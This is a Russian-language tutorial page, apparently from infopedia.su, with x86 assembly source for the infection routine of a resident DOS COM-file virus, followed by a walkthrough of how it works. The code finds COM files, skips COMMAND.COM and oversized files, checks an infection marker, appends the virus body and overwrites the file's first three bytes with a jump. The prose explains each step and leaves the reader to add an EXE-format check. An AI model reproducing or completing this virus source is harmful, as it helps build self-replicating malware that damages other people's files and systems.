all_right: mov ah,2fh;Получим текущую int 21h;DTA (ES: BX) mov bp,bx mov cx,80h;Сохраним эту lea si,dta_save;DTA... mov di,bp save_dta: mov al,byte ptr es:[di] mov [si],al inc si inc di loop cs:save_dta find_first:;Найдем первый mov ah,4eh;файл... mov cx,00100111b lea dx,maska int 21h jnc cs:retry_2 jmp restore_dta find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл jnc cs:retry_1 jmp cs:restore_dta retry_1: mov ah,4fh;Найдем следую- int 21h;щий... jnc cs:retry_2 jmp cs:restore_dta retry_2: mov cx,12;Сотрем старое lea si,fn;имя в буфере destroy_name: mov byte ptr [si],0 inc si loop cs:destroy_name xor si,si;И запишем туда mov di,bp;новое... copy_name: mov al,byte ptr es:[di+1eh] cmp al,0 je cs:check_command mov byte ptr fn[si],al inc si inc di jmp cs:copy_name check_command:;Проверим, не;является - ли call cs:search;файл командным cmp inside,1;процессором... je cs:retry_1 mov ax,3d02h;Откроем этот lea dx,fn;файл... int 21h jnc cs:save_bytes jmp cs:restore_dta save_bytes:;Считаем первые mov bx,ax;три байта mov ah,3fh mov cx,3 lea dx,old_bytes int 21h jnc cs:found_size jmp cs:close found_size:mov di,bp cmp word ptr es:[di+01ch],0 jne cs:more_64K;Найдем его раз- mov ax,es:[di+01ah];мер... count_size:mov si,ax;Вычислим;смещения... cmp ax,64000 jna cs:smallest more_64K: jmp cs:find_next smallest: test ax,000fh jz cs:krat_16 or ax,000fh inc ax krat_16: mov di,ax sub ax,3 mov byte ptr new_bytes[1],al mov byte ptr new_bytes[2],ah mov ax,di mov cl,4 shr ax,cl dec ax mov byte ptr add_to_ds,al mov byte ptr add_to_ds+1,ah mov ax,4200h;Считаем послед- xor cx,cx;ний байт... dec si mov dx,si int 21h jnc cs:read_last jmp cs:close read_last: mov ah,3fh mov cx,1 lea dx,last int 21h jc cs:close cmp last,'1';Индикатор зара- jne cs:write_vir;жения... jmp cs:find_next write_vir: mov ax,4200h;Запишем начало xor cx,cx;вируса... mov dx,di int 21h jc cs:close mov ah,40h mov cx,2 lea dx,end_file int 21h jc cs:close;И остальную mov ah,40h;часть... mov cx,vir_len - 2 lea dx,vir + 2 int 21h jc cs:close write_bytes:;Запишем первые mov ax,4200h;три байта xor cx,cx xor dx,dx int 21h jc cs:close mov ah,40h mov cx,3 lea dx,new_bytes int 21h close: mov ah,3eh;Закроем зара- int 21h;женный файл restore_dta: mov cx,80h;Восстановим DTA lea si,dta_save mov di,bp dta_fresh: mov al,[si] mov byte ptr es:[di],al inc si inc di loop cs:dta_fresh

Как видите, в созданный ранее фрагмент были внесены некоторые изменения, в которых мы сейчас и разберемся.

Поскольку вирус будет заражать файлы в резидентном режиме, он будет пользоваться DTA активной в данный момент программы,что приведет к ее разрушению. Чтобы этого не происходило, нужно сохранить ее в области данных вируса, а после завершения работы вируса - восстановить. Получить адрес текущей DTA можно с помощью функции DOS 2Fh, которая и используется вирусом.

Следующее отличие - наш вирус проверяет, является - ли найденный файл командным процессором COMMAND.COM. Для этого используется процедура SEARCH, которая возвращает INSIDE = 1, если найден командный процессор, или INSIDE = 0 - в противном случае.

Так как иногда COM-файлы на самом деле имеют EXE - формат, их размер может превышать 64 Кбайта, и следует проверить, не является - ли найденный нами файл именно таким, иначе при заражении он будет безнадежно испорчен. С этой целью вирус считывает из DTA слово по смещению 01Ch, и сравнивает его с нулем. Если это слово равно нулю,размер файла не превышает 64 Кбайт,и его можно заражать. Кроме того, неплохо было бы проверить формат файла. Для этого нужно проверить его первые два байта. Если мы имеем дело с EXE - файлом, то указанные байты содержат ASCII - коды символов " M " и " Z ". Думаю, читатель сам при желании допишет несколько необходимых для этого команд.

И последнее - мы выяснили, (см. п. 2.5) что первыми двумя байтами, которые должны записываться в конец файла, должна быть команда перехода на секцию инициализации вируса. Эту функцию выполняют команды, записанные за меткой " write_vir ". Сам код команды перехода хранится в области " end_file ".



Поделиться:


Последнее изменение этой страницы: 2016-07-16; просмотров: 1336; Нарушение авторского права страницы; Мы поможем в написании вашей работы!

infopedia.su Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. Обратная связь - 18.217.203.172 (0.071 с.)